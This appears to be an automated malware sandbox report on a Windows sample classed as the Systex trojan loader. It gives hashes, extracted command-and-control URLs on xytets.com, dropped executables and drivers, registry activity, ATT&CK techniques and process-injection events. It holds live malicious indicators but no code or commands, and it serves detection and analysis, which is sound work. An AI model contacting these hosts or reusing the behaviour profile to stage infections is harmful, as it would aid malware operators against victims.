systex | f4a349f9c13e5e75340a4ef7dc2d4d75951d35b32ef1e097adef3df48c963576

Analysis

max time kernel
149s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 17:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260730-wbg76sdb45
SHA256 f4a349f9c13e5e75340a4ef7dc2d4d75951d35b32ef1e097adef3df48c963576
MD5 4eb6da741c708a92b3ffcede0f94454c
SHA1 5bdc80cd1f4549c43bc062180d55c056d1bd12fa
SHA512 ee9b6ef014148864198ee6fb44a648d3cd9bb385d371da5819cf2fee35bea710cd726d5ba2a5cccb299c9407d2f67264626a5352a2184ae92fe64883798827d8
SSDEEP 3072:BJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:BghLQ0sQmpcF8BzXfwVfQI
TLSH
T1BD344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3024	CP.exe
4236	qomgbytrld.exe
4164	CP.exe
5228	CP.exe
5512	i_qomgbytrld.exe
2712	gdyvqoigay.sys
4504	CP.exe
700	ysqoidbvtq.exe
1132	CP.exe
5424	CP.exe
3696	i_ysqoidbvtq.exe
1952	nlidavtnlf.sys
3288	CP.exe
5012	lfdavtnlfd.exe
3040	CP.exe
2528	CP.exe
4308	i_lfdavtnlfd.exe
3368	ifdavsqnif.sys
2588	CP.exe
2260	fdxsmkicau.exe
5080	CP.exe
3956	CP.exe
2668	i_fdxsmkicau.exe
5124	kicausmkfc.sys
2400	CP.exe
4272	icausmkhfd.exe
5628	CP.exe
1996	CP.exe
5240	i_icausmkhfd.exe
4592	xusmkhfcxu.sys
420	CP.exe
5524	zxupmkecxu.exe
2064	CP.exe
4528	CP.exe
1916	i_zxupmkecxu.exe
3928	eczurmkecw.sys
4596	CP.exe
1908	zuomhezxrp.exe
5576	CP.exe
2508	CP.exe
6112	i_zuomhezxrp.exe
5808	wurmjebzwu.sys
6024	CP.exe
1836	romjdbzwuo.exe
3116	CP.exe
2628	CP.exe
5336	i_romjdbzwuo.exe
2092	ojhbztrojg.sys
3304	CP.exe
4532	hbztrljdbw.exe
1212	CP.exe
5724	CP.exe
4800	i_hbztrljdbw.exe
5000	tqljdbvtnl.sys
5956	CP.exe
5124	lidaywtnlg.exe
5348	CP.exe
4724	CP.exe
4876	i_lidaywtnlg.exe
1508	CP.exe
1432	kidavtnlfd.exe
1316	CP.exe
3528	CP.exe
6008	i_kidavtnlfd.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_457736046\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6060_637449171\_locales\kn\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdavtnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgbzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romjdbzwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_romjdbzwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kidavtnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfcavsnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qomgbytrld.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zuomhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnifausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnifausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xusmkebzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdavtnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxsmkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxsmkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icausmkhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrljdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrljdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kidavtnlfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfcavsnkfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausmkecxup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbwtolgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqoidbvtq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zuomhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lidaywtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lidaywtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbwtolgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icausmkhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xusmkebzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgbzwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qomgbytrld.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqoidbvtq.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1688	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4372	ipconfig.exe
5916	ipconfig.exe
4536	ipconfig.exe
944	ipconfig.exe
944	ipconfig.exe
1576	ipconfig.exe
1284	ipconfig.exe
5388	ipconfig.exe
5728	ipconfig.exe
1196	ipconfig.exe
5508	ipconfig.exe
1920	ipconfig.exe
3416	ipconfig.exe
5072	ipconfig.exe
3940	ipconfig.exe
1760	ipconfig.exe
4912	ipconfig.exe
4328	ipconfig.exe
4532	ipconfig.exe
968	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134299071083065120"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{B6A620E4-66E4-497C-91E7-B7C4BF66C183}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe
4236	qomgbytrld.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe
6060	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	5512	i_qomgbytrld.exe
Token: SeDebugPrivilege	3696	i_ysqoidbvtq.exe
Token: SeDebugPrivilege	4308	i_lfdavtnlfd.exe
Token: SeDebugPrivilege	2668	i_fdxsmkicau.exe
Token: SeDebugPrivilege	5240	i_icausmkhfd.exe
Token: SeDebugPrivilege	1916	i_zxupmkecxu.exe
Token: SeDebugPrivilege	6112	i_zuomhezxrp.exe
Token: SeDebugPrivilege	5336	i_romjdbzwuo.exe
Token: SeDebugPrivilege	4800	i_hbztrljdbw.exe
Token: SeDebugPrivilege	6008	i_kidavtnlfd.exe
Token: SeDebugPrivilege	1324	i_qnifausnkf.exe
Token: SeDebugPrivilege	4508	i_hfcavsnkfd.exe
Token: SeDebugPrivilege	5592	i_ausmkecxup.exe
Token: SeDebugPrivilege	4964	i_xusmkebzxr.exe
Token: SeDebugPrivilege	5488	i_wuomgbzwrp.exe
Token: SeDebugPrivilege	6096	i_wuojgbztrl.exe
Token: SeDebugPrivilege	668	i_ljdbwtolgb.exe
Token: SeDebugPrivilege	4312	i_gaysqlidbv.exe
Token: SeDebugPrivilege	968	i_avsnlfdxvp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6060	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 5736	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 4636 wrote to memory of 6080	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 6080 wrote to memory of 52	6080	iexplore.exe	91
PID 5736 wrote to memory of 6060	5736	iexplore.exe	92
PID 6060 wrote to memory of 5004	6060	msedge.exe	93
PID 6060 wrote to memory of 1688	6060	msedge.exe	95
PID 6060 wrote to memory of 1052	6060	msedge.exe	96
PID 6060 wrote to memory of 1052	6060	msedge.exe	96
PID 6060 wrote to memory of 1052	6060	msedge.exe	96
PID 6060 wrote to memory of 4996	6060	msedge.exe	97
PID 6060 wrote to memory of 4996	6060	msedge.exe	97
PID 6060 wrote to memory of 3808	6060	msedge.exe	99
PID 6060 wrote to memory of 3808	6060	msedge.exe	99
PID 6060 wrote to memory of 3808	6060	msedge.exe	99
PID 6060 wrote to memory of 2752	6060	msedge.exe	100
PID 6060 wrote to memory of 2752	6060	msedge.exe	100
PID 6060 wrote to memory of 2752	6060	msedge.exe	100
PID 6060 wrote to memory of 5524	6060	msedge.exe	101
PID 6060 wrote to memory of 5916	6060	msedge.exe	102
PID 6060 wrote to memory of 3880	6060	msedge.exe	103
PID 6060 wrote to memory of 5524	6060	msedge.exe	101
PID 6060 wrote to memory of 5524	6060	msedge.exe	101
PID 6060 wrote to memory of 5916	6060	msedge.exe	102
PID 6060 wrote to memory of 5916	6060	msedge.exe	102
PID 6060 wrote to memory of 3880	6060	msedge.exe	103
PID 6060 wrote to memory of 3880	6060	msedge.exe	103
PID 6060 wrote to memory of 1032	6060	msedge.exe	104
PID 6060 wrote to memory of 1032	6060	msedge.exe	104
PID 6060 wrote to memory of 5848	6060	msedge.exe	105
PID 6060 wrote to memory of 5848	6060	msedge.exe	105
PID 6060 wrote to memory of 5848	6060	msedge.exe	105
PID 6060 wrote to memory of 4884	6060	msedge.exe	107
PID 6060 wrote to memory of 4884	6060	msedge.exe	107
PID 6060 wrote to memory of 4884	6060	msedge.exe	107
PID 4636 wrote to memory of 3024	4636	2026-07-30_4eb6da741c708a92b3ffcede0f94454c_elex_redline-stealer_rhadamanthys_stop.exe	108
PID 4236 wrote to memory of 4164	4236	qomgbytrld.exe	111
